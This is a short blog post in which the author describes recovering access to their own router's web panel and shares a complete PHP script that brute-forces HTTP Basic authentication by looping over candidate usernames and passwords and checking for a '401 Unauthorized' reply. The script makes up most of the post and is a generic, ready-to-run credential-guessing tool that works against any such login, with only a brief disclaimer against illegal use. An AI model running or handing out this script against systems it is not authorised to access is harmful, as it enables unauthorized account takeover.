Hacking into my router by brute-forcing http authentication

I forgot the username and password to access the web panel of my router.
Luckily I knew some possible usernames and some patterns that I could have used to construct my password, so I just had to try all the combinations... Too much work to do manually but easily done when scripted.

Here is the php script that I came up with. (obviously stripped of my personal stuff). It got my account in less then a second :)

DISCLAIMER: Don't use this code for anything illegal! I'm not responsible for what you do with this!

<?php
$host = '';
$port = '';
$url = '/';
$users = array();
$passes = array();
tryme($host,$url,$port);
foreach($users as $user) {
   foreach($passes as $pass) {
      tryme($host,$url,$port,$user,$pass);
   }
}

function tryme($host,$url = '/',$port = 80, $user = null,$pass =null ) {
   $result="FAIL";
   if(tryAccess($host,$url,$port, $user,$pass)) $result="SUCCESS";
   if($user && $pass) $userpass = "user $user pass $pass ";
   else $userpass = " without username & password";
   echo("Tried $userpass > $result\n");
}

function tryAccess($host,$url = '/',$port = 80, $user = null,$pass =null)  {
   $fp = @fsockopen ($host, $port, &$errno, &$errdesc);
   if (!is_resource ($fp)) {
      echo("Could't not open socket to server: $errno - $errdesc\n");
      return false;
   }
   @fputs ($fp, "POST $url HTTP/1.1\r\n");
   @fputs ($fp, "Host: $host\r\n");
   @fputs ($fp, "Connection: close\r\n");
   if($user && $pass) {
      @fputs ($fp, "Authorization: Basic " . base64_encode ("$user:$pass") . "\r\n");
   }
   @fputs($fp,"\r\n");
        
   $reply = '';
   $success = true;
   while (!@feof ($fp)) {
      $line = @fgets ($fp, 1024);
      if(strpos($line,'401 Unauthorized')) $success = false;
      $reply .= $line; 
   }
   @fclose ($fp);
   return $success;
}
?>

Add comment